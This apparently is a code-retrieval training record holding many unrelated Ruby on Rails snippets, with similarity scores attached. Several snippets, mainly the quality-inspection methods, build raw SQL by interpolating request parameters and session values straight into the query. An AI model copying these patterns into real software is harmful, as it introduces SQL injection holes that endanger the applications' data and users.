activated\n # user.is_halouser_of( Group.safety_care!) # user should also be opted in to call center\n end\n #\n # ramonrails: Thu Oct 14 02:05:21 IST 2010\n # return TRUE to continue executing further callbacks, if any\n true\n rescue Exception => e\n # \n # Wed Feb 9 23:16:17 IST 2011, ramonrails\n # * at least send an email about this error\n CriticalMailer.deliver_monitoring_failure( \"Technical exception #{e}\", self)\n true # no matter what, execute critical_device_event_observer.after_save\n end\n end",
"def flagged_case_responded_to_in_time_for_stats_purposes?\n responding_team_assignment_date = transitions.where(\n event: \"assign_responder\",\n ).last.created_at.to_date\n\n disclosure_approval_date = transitions.where(\n event: \"approve\",\n acting_team_id: default_clearance_team.id,\n ).last.created_at.to_date\n\n internal_deadline = @deadline_calculator.internal_deadline_for_date(\n correspondence_type, responding_team_assignment_date\n )\n\n internal_deadline >= disclosure_approval_date\n end",
"def alteration_approve\n UserNotifier.deliver_in_process(self, user)\n end",
"def save\n a = @data_object\n unless a.existing_record?\n a.aff_to_do = TODO_CHALLENGES | TODO_FEES | TODO_DATES\n if a.aff_has_regions\n a.aff_to_do |= TODO_REGIONS\n end\n end\n super\n end",
"def log_current_test_query\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections\n (user_id, qc_inspection_type_code, qc_tests_query, tests_columns_list)\n VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',\n '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}', '#{session[:columns_list].to_yaml}')\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections\n SET qc_tests_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}',\n tests_columns_list = '#{session[:columns_list].to_yaml}'\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' \"))\n end\n end",
"def mark_due!\n self.due = true\n self.save\n end",
"def set_currently_programming_user!(user)\n self.currently_programming_user = user\n self.currently_programming_until = Time.now + CAN_PROGRAM_FOR\n save!\n end",
"def wants_to_be_interviewed(user)\n\t\t@user, @profile = user, user.profile\n\t\tif user.wants_to_be_interviewed\n\t\t\tsendgrid_category 'Provider Wants To Be Interviewed'\n\t\t\tmail subject: 'Provider wants to be interviewed for articles', to: ADMIN_EMAIL\n\t\telse\n\t\t\tsendgrid_category 'Provider No Longer Wants To Be Interviewed'\n\t\t\tmail subject: 'Provider no longer wants to be interviewed for articles', to: ADMIN_EMAIL\n\t\tend\n\tend",
"def change_interest\n user = User.find(params[:id])\n if current_user.interested?(user)\n msg = \"I'm <span>interested</span> in this profile\"\n Interest.delay.delete_all([\"user_id = ? and interestable_id = ? and interestable_type = ?\", current_user.id, user.id, \"User\"])\n NetworkUpdate.removeInterestedUpdate(current_user.id, user.id)\n else\n msg = \"Remove <span>interest</span> in profile\"\n current_user.interest!(user)\n NetworkUpdate.delay.createInterestedUpdate(current_user.id, user.id)\n SneakPeekMailer.delay(:queue => 'mailers').interested_email(current_user, user)\n end\n render :text => msg\n end",
"def admin_candidate_interview_status_change(interview, employer, candidate)\n @interview = interview\n @employer = employer\n @candidate = candidate\n \n subject = \"Candidate has \" + @interview.candidate_status + \" interview request\"\n \n mail to: \"[email protected]\", subject: subject\n \n \n end",
"def alter\n UserNotifier.deliver_user_review(self, user)\n end",
"def waiver_submitted\n requested_decision\n end",
"def notify_unlocked\n ::Notification.create!(\n from: user,\n user_id: user_id,\n seen: false,\n target: self,\n kind: :ACHIEVEMENT_UNLOCKED\n )\n end",
"def set_user_today\n @day_of_week=Date.today.strftime('%A')\n # Variables for showing the pop-ups if they don't exist\n @userDailyQuestionnaireToday = UserDailyQuestionnaire.where(user: current_user, questionnaire_date: Date.today).first\n @userData = UserDatum.where(user: current_user).first\n end",
"def overdue_alert(info_request, user)\n respond_url = respond_to_last_url(info_request) + \"#followup\"\n\n post_redirect = PostRedirect.new(\n :uri => respond_url,\n :user_id => user.id)\n post_redirect.save!\n url = confirm_url(:email_token => post_redirect.email_token)\n\n @from = contact_from_name_and_email\n headers 'Return-Path' => blackhole_email, 'Reply-To' => @from, # not much we can do if the user's email is broken\n 'Auto-Submitted' => 'auto-generated' # http://tools.ietf.org/html/rfc3834\n @recipients = user.name_and_email\n @subject = \"You're overdue a response to your FOI request - \" + info_request.title\n @body = { :info_request => info_request, :url => url }\n end",
"def notify_user\n NotiMailer.notification_proposal(self.homework.user.email, self, self.homework).deliver\n end",
"def report_eligibility\n report_cutoff_time = Time.now.getlocal('-04:00').beginning_of_day\n reporting_period = (ADMIN_OPTIONS['monitoring_period_days'] + 1).days.ago\n eligible = true\n sent = false\n reported = false\n household = false\n messages = []\n\n # Workflow agnostic conditions\n\n # Can't send messages to monitorees that are purged (this should never actually show up)\n if purged\n eligible = false\n messages << { message: 'Recipient was purged', datetime: nil }\n end\n\n # Can't send to household members\n if id != responder_id\n eligible = false\n household = true\n messages << { message: 'Recipient is within a household, so the HoH will receive notifications instead', datetime: nil }\n end\n\n # Can't send messages to monitorees that are on the closed line list and have no active dependents.\n if !monitoring && active_dependents.empty?\n eligible = false\n\n # If this person has dependents (is a HoH)\n is_hoh = dependents_exclude_self.exists?\n message = \"Recipient is not currently being monitored #{is_hoh ? 'and has no actively monitored household members' : ''}\"\n messages << { message: message, datetime: nil }\n end\n\n # Can't send messages if notifications are paused\n if pause_notifications\n eligible = false\n messages << { message: 'Recipient\\'s notifications are paused', datetime: nil }\n end\n\n # Has an ineligible preferred contact method\n if ['Unknown', 'Opt-out', '', nil].include?(preferred_contact_method)\n eligible = false\n messages << { message: \"Recipient has an ineligible preferred contact method (#{preferred_contact_method || 'Missing'})\", datetime: nil }\n end\n\n # Exposure workflow specific conditions\n unless isolation\n # Monitoring period has elapsed\n start_of_exposure = last_date_of_exposure || created_at\n no_active_dependents = !active_dependents_exclude_self.exists?\n if start_of_exposure < reporting_period && !continuous_exposure && no_active_dependents\n eligible = false\n messages << { message: \"Recipient\\'s monitoring period has elapsed and continuous exposure is not enabled\", datetime: nil }\n end\n end\n\n # Has already been contacted today\n if !last_assessment_reminder_sent.nil? && last_assessment_reminder_sent >= 12.hours.ago\n eligible = false\n sent = true\n messages << { message: 'Recipient has been contacted recently', datetime: last_assessment_reminder_sent }\n end\n\n # Has already reported today\n if !latest_assessment_at.nil? && latest_assessment_at >= report_cutoff_time\n eligible = false\n reported = true\n messages << { message: 'Recipient has already reported today', datetime: latest_assessment_at }\n end\n\n # Rough estimate of next contact time\n if eligible\n messages << case preferred_contact_time\n when 'Morning'\n { message: '8:00 AM local time (Morning)', datetime: nil }\n when 'Afternoon'\n { message: '12:00 PM local time (Afternoon)', datetime: nil }\n when 'Evening'\n { message: '4:00 PM local time (Evening)', datetime: nil }\n else\n { message: 'Today', datetime: nil }\n end\n end\n\n { eligible: eligible, sent: sent, reported: reported, messages: messages, household: household }\n end",
"def current_qc_inspection\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_inspection_id.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n @qc_inspection = QcInspection.find(qc_current_inspection.qc_inspection_id)\n params[:id_value] = @qc_inspection.qc_inspection_type.qc_inspection_type_code\n params[:id] = @qc_inspection.id\n edit_qc_inspection\n end\n end",
"def check_notification\n referral = self\n admin = referral.job.admin\n\n if referral.is_interested == true && referral.is_admin_notified == false\n # binding.pry\n if referral.update_attribute(:is_admin_notified, true)\n ReferralMailer.deliver_admin_notification(referral, admin)\n referral.save\n else\n render 'edit', error: \"We had an issue with your referral request. Please try again.\"\n end\n end\n end",
"def approval_needed(user)\n @user = user\n\n mail to: ENV['ADMIN_EMAIL'], subject: \"User wants approval for Thumbline Set List\"\n end",
"def trial_ending(user)\n mail to: user.email, subject: \"Only 72 Hours Left of Review Alerts!\"\n end",
"def check_goal_status_for(current_user)\n if self.goal_achieved_for(current_user)\n \n self.update_attributes(:goal_achieved => true,\n :goal_id_achieved => current_user.current_goal.id)\n \n current_user.current_goal.update_attributes(:achieved_at => Time.now,\n :current => false)\n\n end\n end",
"def new_record_notification(record)\n @record = record\n @phase = Phase.find(record.phase_id)\n @goal = Goal.find(@phase.goal_id)\n @user = User.find(@goal.user_id)\n\n mail to: @user.email, subject: \"Don't Break The Streak!\"\n end",
"def user_details\n @user = current_user\n invitation = @user.invitation\n if invitation.present?\n solo_restaurant_name = invitation.restaurant_id ? \n Restaurant.find(invitation.restaurant_id).name :\n invitation.restaurant_name\n @user.build_default_employment(:solo_restaurant_name => solo_restaurant_name, \n :restaurant_role => invitation.restaurant_role, :subject_matters => invitation.subject_matters)\n else\n @user.build_default_employment\n end\n @user.build_profile\n end",
"def get_current_inspection_record( user_id, qc_inspection_type_code )\n ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{user_id}\n and qc_inspection_type_code = '#{qc_inspection_type_code}'\")\n end",
"def invite_via_suggestion\n @user = User.create_with_organisation_membership_from_project_invite @invite\n\n if @user.valid?\n RequestMailer.invite_via_suggestion @user, @invite, current_user\n\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"#{@user.email} has been sent an invite\"\n elsif account_has_been_claimed? @user\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"This user has already been invited to Digital Social\" \n else\n redirect_to :dashboard, alert: \"There was an error inviting #{@user.email}, please try again later.\" \n end\n end",
"def record_submission\n transaction do\n task.update_attributes(completed_at: DateTime.now)\n project.signal_or_raise!(:accept_proposal, nil, self)\n end\n end",
"def pending_acceptance\n merge(CourseUser.with_invited_state)\n end",
"def check_user_background\n self.status = Status::PENDING_ADMIN_ACTION if offender && offender.new_user?\n end",
"def assigned_to_me(school_id, current_user_id)\n\t \t \n\t \tassigned_to_me = Newhirecourse.find_by_sql([' SELECT DISTINCT\n nh.id \n\n FROM \n newhires nh\n INNER JOIN newhirecourses nhc\n ON (nh.id = nhc.newhire_id)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE nh.school_id = :sid\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tAND nhc.assigned_to = :cu_id;', {:sid => school_id, :cu_id => current_user_id }]).count\n\n\t \t\tif assigned_to_me == 0\n\t \t\t\tmessage = \"None assigned to me\"\n\t \tdivclass = \"error\"\n\t \t\telsif assigned_to_me == 1\n\t\t\t\tmessage = \"<em>#{assigned_to_me} new hire assigned to me</em>\"\n\t \tdivclass = \"success\"\n\t \t\telse\n\t \t\t\tmessage = \"<em>#{assigned_to_me} new hires assigned to me</em>\"\n\t \tdivclass = \"success\"\n\t \t\tend\n\n\t \t return \"<div class='alert alert-#{divclass}'>#{message}</div>\".html_safe\n\t end",
"def create\n if current_user.is_not_staff?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @safety_inspection = SafetyInspection.new(params[:safety_inspection])\n @safety_inspection.bike = Bike.find(params[:safety_inspection][:bike_id])\n @safety_inspection.inspector = current_user\n\n respond_to do |format|\n if @safety_inspection.save\n\t\t\n\t\t#Update EAB status\n\t\teabproj = @safety_inspection.bike.eab_project\n\t\tif !eabproj.nil?\n\t\t\tif @safety_inspection.passed?\n\t\t\t\teabproj.status = 300\n\t\t\telse\n\t\t\t\teabproj.status = 325\n\t\t\tend\n\t\t\teabproj.save\n\t\tend\n\t\t\n format.html { redirect_to @safety_inspection, notice: 'Safety inspection was successfully created.' }\n format.json { render json: @safety_inspection, status: :created, location: @safety_inspection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @safety_inspection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_saved_case_try _user, the_try\n the_case = the_try.case\n\n data = {\n category: 'Case Tries',\n action: 'Saved a Case Try',\n label: the_case.case_name,\n value: the_try.try_number,\n bounce: false,\n }\n\n create_event data\n end",
"def save_claim(current_user)\n call_ok?(:claim_repayment_details, request_elements(current_user)) do |body|\n @case_reference = body[:claim_repayment][:case_reference]\n @repayment_ref_no = body[:claim_repayment][:repayment_ref_no]\n # This submitted_date is used only for display purpose of confirmation page\n # and is not being submitted to the back office\n @submitted_date = Time.zone.today\n end\n end",
"def addWorkingUser user\n @workingUsers << user\n @workingUsers.uniq!\n end",
"def flag_for_pickup \n if start_dt_tm && (TzTime.zone.utc_to_local(start_dt_tm).to_date <= TzTime.now.to_date ) && #Is this portion of the check necessary\n end_dt_tm && (TzTime.zone.utc_to_local(end_dt_tm).to_date >= TzTime.now.to_date) && #Is this portion of the check necessary\n Schedulehelper.IsEntryDueOn(self,TzTime.now.to_date) \n #On update, if the entry is already marked for due today, then skip this step\n EntryStatus.flag_entry(self) if entry_status == nil || !is_due_today\n #Update account_detail if not already\n user = self.user\n if !user.are_tasks_flagged_today \n user.account_detail.update_attribute(:tasks_last_flagged_on, TzTime.now.utc)\n end \n \n elsif entry_status && is_due_today #Here 'is_due_today' is returning the status as it was before the update since it is merely a flag \n #This case is to catch while the entry is being updated and if the entry's frequency schedule changed\n #in such a way where it is not due to day anymore\n EntryStatus.remove_flag(self)\n elsif entry_status == nil\n #Entry either starts in the future or not due today \n #Create a dummy record so that if the entry is ended right away, it can be recorded\n self.entry_status = EntryStatus.new( :user_id => self.user_id) \n end\n end",
"def profile\n\t\tif user_signed_in?\n\t\t\tdb_entry = UserSetting.where(username: current_user.username)[0]\n\t\t\tif db_entry != nil\n\t\t\t\thandle = db_entry.handle\n\t\t\t\t@problems_solved, @contests_attempted = build_solved_problems_and_attempted_contests(handle)\n\t\t\t\t@@handle_shared = handle\n\t\t\t\t@@problems_solved_shared = @problems_solved\n\t\t\t\t@@contests_attempted_shared = @contests_attempted\n\t\t\tend\n\t\tend\n\tend",
"def saw_notification\n current_user.notice_seen = true\n current_user.save\n end",
"def already_reported; end",
"def already_reported; end",
"def checkin\n if self.current_user == nil\n redirect_to \"/account/login\"\n end\n @workout = Workout.new\n @workout.workout_date = Time.now.to_date #.strftime(\"%x\")\n end",
"def planning_work\n self.planned_at = Time.now\n self.unfreeze_request! if self.frozen?\n self.push_msg\n end",
"def change_status_to_resolved\n user = User.find_by(id: params[:user_id])\n user.send_issue_resolved_email\n issue = Issue.find_by(id: params[:id])\n issue.update_attribute(:status, \"resolved\")\n flash[:success] = \"Issue status changed to resolved!\"\n redirect_to issues_path\n end",
"def set_change_log_whodidit\n ::ChangeLog.whodidit = user_for_change_log\n end",
"def notify_occurrence\n Bug.transaction do\n find_bug\n\n list = @bug.notify_on_occurrence\n\n if list.include?(current_user.id)\n list.delete current_user.id\n else\n list << current_user.id\n end\n\n @bug.notify_on_occurrence = list\n @bug.save!\n end\n\n respond_to do |format|\n format.json { render json: decorate_bug(@bug), location: project_environment_bug_url(@project, @environment, @bug) }\n end\n end",
"def update_user_info!\n if REQUIRES_PARENT_APPROVAL\n ::Users::Notifications::IsWaitingForApproval.update_approval_notification!(self.user)\n else\n ::Users::Notifications::ChildNewItem.update_notification!(self)\n end\n self.user.recalculate_item_count!\n end",
"def edit_requirement_tracker\n find_user\n if [email protected]?\n\n [email protected]\n\n if ((status!=\"Approved\" and params[:requirement][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Approve\" or @user.privilige==\"Read/Write/Approve\")) or (status!=\"Approved\" and params[:requirement][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\") or (status==\"Approved\" and params[:requirement][:status]==\"Approved\" and !params[:requirement][:delivered].empty? and @user.privilige!=\"Read\"))\n if @req.update_attributes(params[:requirement])\n if (!params[:requirement][:status].nil?)\n\n if (status!=\"Approved\" and params[:requirement][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@project_req.find_user_first_name(current_user.id)\n Requirement.notification_approved(current_user.id, @req.project_id, @req, first_name)\n else\n first_name=@project_req.find_member_first_name(@user.id)\n Requirement.notification_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status!=\"For Review\" and params[:requirement][:status]==\"For Review\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_reviewed(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_reviewed(@user.user_id, @req.project_id, @req, first_name)\n end\n elsif (status==\"Approved\" and params[:requirement][:status]!=\"Approved\")\n\n if !current_user.nil?\n [email protected]_user_first_name(current_user.id)\n Requirement.notification_no_approved(current_user.id, @req.project_id, @req, first_name)\n else\n [email protected]_member_first_name(@user.id)\n Requirement.notification_no_approved(@user.user_id, @req.project_id, @req, first_name)\n end\n end\n end\n\n end\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:tracker_id].nil?\n @tracker=Tracker.find(session[:tracker_id])\n redirect_to show_tracker_req_url(@tracker.id)\n else\n redirect_to trackers_path\n end\n\n else\n\n\n flash[:notice]= t(:requirement_edit_message_with_out_permisson)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"def already_welcomed?(user)\n notification = Notification.welcomed_by(self.id, user.id)\n !notification.empty?\n end",
"def interview_date_decision_notification(interviewee, interviewer, datetime)\n @interviewee = interviewee\n @interviewer = interviewer\n @datetime = datetime\n mail to: [interviewee.email, interviewer.email], subject: \"#{interviewee.name} さんの面接日時が確定しました\"\n end",
"def db_working(message = \"Started at #{Time.zone.now}\")\n update_db_status({ status: STATUS_WORKING, message: message, attempts: db_status.attempts + 1 })\n end",
"def invitation_claimed(invitation, user)\n @invitation = invitation\n @user = user\n mail(:to => invitation.user.email, :subject => _('%s joined %s.') % [\n @user.nicename, Doers::Config.app_name])\n end",
"def ready\n @investment = Investment.where(user_id: current_user.id).last\n end",
"def working!\n @meta[Cworked_at] = Time.now.utc\n put_meta\n end",
"def record_user_activity\n current_user.touch :last_active_at if current_user\n end",
"def owned_by_user(user)\n CompletedFeat.find_by_user_id_and_feat_id(user.id, self.id)\n end",
"def determine_isic_status\n return unless self.isic?\n raise \"Record is not new, won't change status\" unless new_record?\n raise \"No member associated yet\" unless member\n self.isic_status = 'request'\n end",
"def accept\n @issue = Issue.find(params[:id])\n @issue.resolved = 2\n project = Project.find(@issue.project_id)\n if @issue.save\n flash[:notice] = \"The Solution was Accepted\"\n UserMailer.resolution_approved(@issue, @issue.submitter_id).deliver\n redirect_to project_issue_path(project.slug,@issue.id)\n else\n flash[:error] = \"Error in Saving. Please retry.\"\n redirect_to project_issue_path(project.slug,@issue.id)\n end\n end",
"def set_feedback_status(user_id)\n Trade.transaction do\n @tradeline = get_tradeline_only(user_id)\n @tradeline.status = 1\n @tradeline.save\n\n need = user_need(user_id).inventory_need\n own = user_own(user_id).inventory_own\n \n need.deleted = true\n need.save\n own.deleted = true\n own.save\n\n if trade_lines.all? { |x| x.status == 1 }\n self.status = 1\n self.save\n end\n end\n end",
"def update_user_tracking!\n unless self.new_record?\n self.updater = \n UserTracking.current_user || \n (raise UserTracking::Error, \"current user is not defined\")\n end\n end",
"def set_audit_me_whodunnit\n ::AuditMe.whodunnit = user_for_audit_me\n end",
"def attempted_record\n @attempted_record\n end",
"def track_status(address, track, instructables)\n @track = track\n @track_classes = instructables\n @unscheduled_classes = @track_classes.select { |instructable| !instructable.scheduled? }\n @conflicts = ConflictCheck.conflicts(track: @track)\n\n mail(to: address, subject: \"Track summary for #{@track}\")\n end",
"def set_up_user\n # user's details\n @user = current_user\n @notification = Notification.where(user_id: @user.id, read: 0)\n end",
"def account\n\t\t@user = current_user\n\t\t@projects = Project.report_by_user(current_user.id, month_now)\n\t\t@new_daily = @user.dailies.build\n\tend",
"def professor_user\n unless this_is_professore?(current_user)\n flash[:danger] = \"You don't have the rights for this action.\"\n redirect_to(root_url)\n end\n end",
"def editable_by_with_patch?(usr)\n ((usr == self.user && usr.allowed_to?(:edit_own_time_entries, project)) ||\n usr.allowed_to?(:edit_time_entries, project) ||\n usr.allowed_to?(:view_time_entries_without_edit, project)\n ) && !valid_period_close?(self.spent_on)\n end",
"def add_user_now\n if ready_for_review.text.include?(\"Ready for Review\")\n add_user_now_button.click\n add_confirmation_button.click\n else\n raise \"unable to find Ready for Review text\"\n end\n end",
"def involved_user\n unless @friendship.requester == current_user || @friendship.requested == current_user\n flash[:warning] = \"You are not authorized.\"\n redirect_to root_path\n end\n end",
"def report_notice_to_user(user)\n @user = user\n\n mail to: \"#{user.email}\", bcc: '[email protected]', subject: \"【StudyConcierge】【報告作成のお知らせ】\"\n end",
"def reassigned_findings_notification\n new_users = User.last(2)\n old_users = User.joins(:findings).first(1)\n findings = old_users.first.findings\n\n NotifierMailer.reassigned_findings_notification new_users, old_users, findings, false\n end",
"def do\n redirect_to(workout_path(@workout), alert: t('.already_done')) if @workout.done?\n redirect_to(workout_path(@workout), alert: t('.already_skipped')) if @workout.skipped?\n @workout.weight_before = current_user.latest_weight_before\n end",
"def weekly(user)\n @user = User.find(user)\n @points_away = Level.find(@user.level).points - @user.points\n mail(to: \"#{@user.name} <#{@user.email}>\", subject: \"Its Your Weekly Reminder to be Awesome\")\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def save_employment\n self.current_stage = :references_stage\n self.save\n true\n end",
"def notify_status_approved(user, redemption)\n @redemption = redemption\n @reward = redemption.reward\n @approver = redemption.approver\n @user = user\n notify_redeemer_status_change(user, redemption, t(\"rewards.redemption_was_approved\", reward_title: redemption.reward.title))\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def inform_goal_of_new_contribution\n self.goal.check_for_completion!(self.goal_participant)\n end",
"def create\n @incident = current_user.incidents.new(params[:incident])\n\[email protected] = \"Received\"\n\t\n respond_to do |format|\n if @incident.save\n\t @incident.create_timesheet()\n\t @incident.create_mat_list()\n\t\t \n\t @name = User.find(@incident.user_id).profile.name\n\t Notifier.send_notice(@name).deliver\n\t \t \n\t format.html { redirect_to edit_incident_timesheet_path(@incident), :notice => \"The Incident has been saved! Now please fill in the timesheet by adding personnel and materials below.\" }\n\t else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @incident.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def survey_clicked\n @user = self.current_user \n @profile = @user.profile\n @profile.survey_clicked = true\n @profile.survey_clicked_date = DateTime.now\n @profile.save\n render :text=>\"\" \n end",
"def schedule_impact_statement\n if self.time_added?\n self.hours.to_s + ' hours added to the schedule'\n elsif self.time_removed?\n self.hours.to_s + ' hours removed from the schedule'\n else\n 'No impact to the schedule'\n end\n end",
"def welcome\n week = TestMeta.week\n \n # Get the user's test for this week\n @test = Test.where( { :study_user_id => @user, :week => week } ).first\n \n @welcome_state = nil\n \n if @test.complete\n # User has already completed this week's test\n @welcome_state = :already_finished\n \n elsif @test.state and [email protected] \n # User is returning in the middle of an existing test\n @welcome_state = :already_started\n \n \n # Time has no expired\n \n # Time has expired\n \n else \n # User is starting a new test\n @welcome_state = :new_test\n \n @condition = @test.get_condition\n \n if @test.condition == \"none\" or Question.where( :active => true ).empty?\n # There is no test this week \n @test.complete = true \n end\n \n @test.started_at = DateTime.now\n @test.save\n end\n \n end",
"def waits_for_statement?(user)\n #TODO move this two ors to it's own status method\n unless absolved? || interrupted?\n if admited_interrupt?\n temp_approval = interrupt.approval ||= InterruptApproval.create\n elsif !final_exam_passed? && study_plan && !study_plan.approved?\n temp_approval = study_plan.approval ||= StudyPlanApproval.create\n elsif !final_exam_passed? && study_plan && study_plan.approved?\n if !study_plan.attestation || !study_plan.attestation.is_actual?\n temp_approval = study_plan.attestation = Attestation.create(:document_id => study_plan.id)\n else\n temp_approval = study_plan.attestation\n end\n end\n temp_approval && temp_approval.prepares_statement?(user)\n end\n end",
"def autocomplete_work_on\r\n prepare_values\r\n @check_in_time = params[:it]\r\n \r\n #set current time if nil\r\n if (@check_in_time == \"\")\r\n @check_in_time = @current_time \r\n end\r\n #check if time is edit\r\n @edit_authorize = 0 if (@this_work.work_in !=nil) \r\n if (@manager_mode == 1 || @edit_authorize == 1)\r\n #validate before save\r\n validate_date(@this_date_str)\r\n validate_work_in(@check_in_time)\r\n if (@error_message == nil)\r\n @old_hours = (@this_work.work_hours==nil) ? \"\" : @this_work.work_hours\r\n check_in(@check_in_time)\r\n end\r\n else\r\n @error_message = l(:ts_error_not_authorize) \r\n end\r\n render(:layout=>false)\r\n end",
"def status_changed(expense)\n @expense = expense\n mail to: @expense.user.email, subject: 'Expense Report Notification: The status of your expense has been changed'\n end",
"def step_3\n @influencer = current_user.influencer\n end"
] |
[
"0.59739196",
"0.5926119",
"0.5672347",
"0.5403654",
"0.5386229",
"0.5385516",
"0.5375619",
"0.52748877",
"0.5274646",
"0.5266436",
"0.5265324",
"0.5259361",
"0.5247262",
"0.5234216",
"0.52232826",
"0.5187598",
"0.518542",
"0.5182635",
"0.51669246",
"0.5166531",
"0.51327795",
"0.51086175",
"0.51065403",
"0.50988775",
"0.5095857",
"0.50866455",
"0.50849855",
"0.5079975",
"0.5078068",
"0.5073639",
"0.5069605",
"0.50686395",
"0.50571775",
"0.503621",
"0.50188535",
"0.5006651",
"0.50026953",
"0.50015754",
"0.50005627",
"0.49994868",
"0.4993443",
"0.4990803",
"0.49876547",
"0.4983669",
"0.4980824",
"0.49804276",
"0.49778035",
"0.49746794",
"0.4964392",
"0.49571386",
"0.49543598",
"0.49541697",
"0.49522907",
"0.49522907",
"0.49456304",
"0.49373114",
"0.49364015",
"0.4934923",
"0.4931565",
"0.49285883",
"0.49278435",
"0.4926788",
"0.49211457",
"0.4919538",
"0.49128467",
"0.49109247",
"0.49024647",
"0.49010172",
"0.4892757",
"0.48782614",
"0.48721513",
"0.48707962",
"0.4864888",
"0.48646215",
"0.4863836",
"0.4863478",
"0.48448128",
"0.4842826",
"0.48379943",
"0.48372775",
"0.48307088",
"0.482726",
"0.48240337",
"0.48177135",
"0.48163724",
"0.48151603",
"0.48123357",
"0.48111734",
"0.48081085",
"0.48056433",
"0.48056433",
"0.4805327",
"0.47968832",
"0.47948432",
"0.47922948",
"0.47918934",
"0.479039",
"0.47875094",
"0.47849226",
"0.4784461"
] |
0.6290871
|
0
|
Record the lastused business context query for the inspection type / user so it can easily be rerun.
|
def log_current_cusiness_context_query
qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )
if qc_current_inspection.nil?
ActiveRecord::Base.connection.execute("INSERT INTO qc_current_inspections
(user_id, qc_inspection_type_code, qc_business_context_query, columns_list)
VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',
'#{dm_session[:search_engine_query_definition].gsub(/'/, "''")}', '#{session[:columns_list].to_yaml}')")
else
ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request("UPDATE qc_current_inspections
SET qc_business_context_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, "''")}',
columns_list = '#{session[:columns_list].to_yaml}'
WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' "))
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end",
"def log_current_test_query\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, session[:qc_inspection_type_code] )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections\n (user_id, qc_inspection_type_code, qc_tests_query, tests_columns_list)\n VALUES(#{session[:user_id].id}, '#{session[:qc_inspection_type_code]}',\n '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}', '#{session[:columns_list].to_yaml}')\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections\n SET qc_tests_query = '#{dm_session[:search_engine_query_definition].gsub(/'/, \"''\")}',\n tests_columns_list = '#{session[:columns_list].to_yaml}'\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{session[:qc_inspection_type_code]}' \"))\n end\n end",
"def last_context; end",
"def log_current_inspection\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, @qc_inspection_type_code )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections (user_id, qc_inspection_type_code, qc_inspection_id)\n VALUES(#{session[:user_id].id}, '#{@qc_inspection_type_code}', #{@qc_inspection.id})\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections SET qc_inspection_id = #{@qc_inspection.id}\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{@qc_inspection_type_code}' \"))\n end\n end",
